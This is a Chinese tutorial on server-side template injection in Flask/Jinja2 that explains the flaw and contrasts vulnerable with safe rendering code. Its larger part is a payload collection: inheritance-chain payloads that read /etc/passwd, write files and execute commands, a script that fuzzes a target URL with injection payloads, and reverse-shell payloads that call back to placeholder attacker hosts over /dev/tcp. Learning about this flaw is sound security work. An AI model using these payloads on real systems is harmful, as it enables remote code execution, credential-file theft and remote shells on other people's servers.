栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

SSTI(模板注入) ——(3)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

SSTI(模板注入) ——(3)

目录
  • Python 中的SSTI
    • Flask ( jinja2)
      • Flask简单认识
        • Flask快速使用
        • Flask中的Jinja2
        • Flask渲染
      • 漏洞原理
      • 漏洞利用
        • 内建函数(魔术方法)
        • 名称空间
        • 类继承
        • 寻找Python-SSTI攻击载荷的过程
    • 漏洞利用小结
      • 常用的目标函数
      • 常见的中间对象
      • 常见可利用类
      • fuzz可利用类脚本
      • 服务端fuzz
      • Python常用的命令执行方式
      • python字符串格式化
    • Flask过滤器
      • 定义
      • 使用方式
      • 过滤器
    • 常见payload
      • Python2
      • Python3

Python 中的SSTI

python常见的模板有:Jinja2,tornado,

Flask ( jinja2) Flask简单认识 Flask快速使用
# 安装Flask
pip install flask -i https://pypi.douban.com/simple
# 官方提供的测试代码,保存为test.py
from flask import Flask
# 使用模块名作为应用名
app = Flask(__name__)

# 路由:即web访问路径
@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    # 启动Flask应用
    app.run()

运行test.py,然后进入http://127.0.0.1:5000/,可以看到网页上显示了Hello World!,代表app启动成功

Flask中的Jinja2

在Python中,该漏洞常见于Flask(一个轻量级Web应用框架)模块中,Flask使用Jinja2作为模板引擎,Jinja2支持以下语法进行数据渲染:

  • {{}}:将花括号内的内容作为表达式执行并返回对应结果。
{{3*4}}  # 会被解析为12
  • {%%}:用于声明变量或条件/循环语句
# 使用set声明变量
{% set s = 'Gkd' %}
# 条件语句
{% if var is true %}Gkd{%endif%}
# 循环语句
{% for i in range(3) %}Gkd{%endfor%}
  • {##}:注释
  • 详细用法可以查看官方文档:http://docs.jinkan.org/docs/jinja2/templates.html
Flask渲染

目录文件如下

from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello World'

# 配置路由为/test
@app.route('/test')
def test():
    param = '搞快点啦'
    # 指定渲染页面,这里会自动在同级目录中的templates寻找指定文件,即等价于render_template('./templates/hello.html', param=param),该函数用于渲染一个页面
    # render_template_string函数则是用于渲染一个字符串,如'%s' % 'Hello World'
    return render_template('hello.html', param=param)  # 返回一个html

if __name__ == '__main__':
    app.run()


	Hello World!
	{{param}}

运行,访问http://127.0.0.1:5000/test

漏洞原理

有了以上关于Flask的基础知识,我们就可以来看看漏洞是如何产生的了。由于对用户输入过滤不严,攻击者可以通过构造恶意数据,使服务器模板引擎渲染这部分数据,从而达到读取文件、RCE等目的。

下面,我们来看一下分析一下存在SSTI漏洞的代码和不存在漏洞的代码,对比学习,体会一下这个漏洞的原理。

存在SSTI漏洞的代码

from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    t = '''
        
            Hello %s
        
        ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)

"""这样的代码同样存在漏洞
def index():
    name = request.args.get('name', default='guest')
    t = Template(
        '''
        
            Hello %s
        
        ''' % name
    )
    # 对模板对象进行渲染
    return t.render()
"""
app.run()

使用{{10*8}}作为参数name传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。

  • 不存在漏洞的代码
from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    # 
    return render_template('index.html', name=name)

app.run()

通过观察以上代码,我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。

深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。

漏洞利用 内建函数(魔术方法)
  • 启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数
  • 在 Python 交互模式下,使用命令 dir('builtins') 即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数

我们可以利用的魔术方法:

魔术方法作用
_init_对象的初始化方法
_class_返回对象所属的类
_module_返回类所在的模块
_mro_返回类的调用顺序,可以此找到其父类(用于找父类)
_base_获取类的直接父类(用于找父类)
_bases_获取父类的元组,按它们出现的先后排序(用于找父类)
_dict_返回当前类的函数、属性、全局变量等
_subclasses_返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类)
_globals_获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量)
_import_用于导入模块,经常用于导入os模块
_builtins_返回Python中的内置函数,如eval
名称空间

要了解内建函数是如何工作的,首先需要需要了解一下名称空间,Python 的名称空间是从名称到对象的映射,在 Python 程序的执行过程中至少会存在两个名称空间

  • 内建名称空间:Python 自带的名字,在 Python 解释器启动时产生,存放一些 Python 内置的名字
  • 全局名称空间:在执行文件时,存放文件级别定义的名字
  • 局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,
    用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效

加载顺序:内置名称空间 —> 全局名称空间 —> 局部名称空间
名字的查找顺序:局部名称空间 —> 全局名称空间 —> 内置名称空间

类继承

构造 Python-SSTI 的 Payload 需要什么知道是类继承

  • Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作

常见的继承关系的方法有以下三种:
base:对象的一个基类,一般情况下是 object
mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
subclasses():继承此对象的子类,返回一个列表

攻击方式为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量

寻找Python-SSTI攻击载荷的过程

这里以通过SSTI进行RCE为例,基本的利用思路为:

  • 随便找个倒霉的内置类:[]、"" '' {} () 等等
  • 通过这个类获取到object类:__base__、__bases__、__mro__
  • 通过object类获取所有子类:__subclasses__()
  • 在子类列表中找到可以利用的类
  • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

1. 获取基本类

对于返回的是定义的Class类的话:
__dict__          //返回类中的函数和属性,父类子类互不影响
__base__          //返回类的父类 python3
__mro__           //返回类继承的元组,(寻找父类) python3
__init__          //返回类的初始化方法   
__subclasses__()  //返回类中仍然可用的引用  python3
__globals__       //对包含函数全局变量的字典的引用 python3

对于返回的是类实例的话:
__class__         //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法

例如以下

''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

此外,在引入了 Flask/Jinja 的相关模块后还可以通过以下字符来获取基本类

config
request
url_for
get_flashed_messages
self
redirect

2. 获取基本类后,继续向下获取基本类 (object) 的子类

object.__subclasses__()


写个脚本跑一下,看看哪个类可以用

import re

# 将查找到的父类列表替换到data中
data = r'''
    [, , ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            print(str(class_list.index(c)) + ": " + c)

3. 找到重载过的 __init__ 类,在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的;也可以利用 .index()去找 file, warnings.catch_warnings

''.__class__.__mro__[2].__subclasses__()[99].__init__


''.__class__.__mro__[2].__subclasses__()[59].__init__

4. 查看其引用 __builtins__

''.__class__.__mro__[2].__subclasses__()[138].__init__.__globals__['__builtins__']

上面会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能

''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

大致的利用过程就是这样

漏洞利用小结 常用的目标函数
file
subprocess.Popen
os.popen
exec
eval
常见的中间对象
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')
常见可利用类

文件读取_方法一_子模块利用

存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引

''.__class__.__mro__[2].__subclasses__().index(file)

flie 类:(在字符串的所属对象种获取 str 的父类,在其 object 父类种查找其所有子类,第 41 个为 file 类)

''.__class__.__mro__[2].__subclasses__()[40]('').read()

_frozen_importlib_external.FileLoader 类:(前置查询一样,其是第 91 个类)

''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"")

文件读取_方法二_通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

命令执行_方法一_利用 eval 进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

命令执行_方法二_利用 warnings.catch_warnings 进行命令执行

查看 warnings.catch_warnings 方法的位置
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找os模块的位置
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用system方法
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

命令执行_方法三_利用 commands 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

fuzz可利用类脚本

例如对 subprocess.Popen 可以构造如下 fuzz 脚本

import requests

url = ""

index = 0
for i in range(100, 1000):
    #print i
    payload = "{{''.__class__.__mro__[-1].__subclasses__()[%d]}}" % (i)
    params = {
        "search": payload
    }
    #print(params)
    req = requests.get(url,params=params)
    #print(req.text)
    if "subprocess.Popen" in req.text:
        index = i
        break


print("index of subprocess.Popen:" + str(index))
print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)

服务端fuzz

利用 {%for%}语句块来在服务端进行 fuzz

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__=='catch_warnings' %}
  {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }}
  {% endif %}
{% endfor %}
Python常用的命令执行方式
  • os.system():该方法的参数就是 string 类型的命令,在 linux 上返回值为执行命令的 exit 值;而windows上返回值则是运行命令后 shell 的返回值;注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
  • os.popen():返回的是 file read 的对象,如果想获取执行命令的输出,则需要调用该对象的 read() 方法
python字符串格式化

在python中常见的字符串格式化有几种形式

  • %操作符
>>> name = "aaa"
>>> '%s' %name
'aaa'
  • string.Template
>>> from string import Template
>>> name = 'aaa'
>>> tem = Template('$name')
>>> tem.substitute(name=name)
'aaa'
  • format:python2.6后引用的格式化字符串的函数
>>> name = 'aaa'
>>> '{}'.format(name)
'aaa'
  • f-Strings
    python3.6后新增的字符串格式化方式,可以执行其中的python语句。
>>> name = 'aaa'
>>> f'{name}'
'aaa'
>>> f'{name.upper()}'
'AAA'

如何利用字符串格式化来读取敏感文件

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

如果控制了email参数就是控制了字符串格式化一部分,当传入{user.password}的时候就会显示用户的哈希密码。user是当前上下文中仅有的一个变量,也就是format函数传入的user=request.user,Django中request.user是当前用户对象,这个对象包含一个属性password,也就是该用户的密码。所以,{user.password}实际上就是输出了request.user.password。

Flask过滤器 定义

flask 过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤,可以参考 php 伪协议中的 php://filter 协议,支持链式过滤

使用方式
变量|过滤器
variable|filter(args)    
variable|filter        //如果过滤器没有参数可以不加括号
过滤器

可以去看官方文档,不一一叙述

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例: {{'hello'|safe}};

format(value,arags,*kwargs):格式化字符串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

常见payload Python2
#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典
Python3
#python3没有file,用的是open
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/961377.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号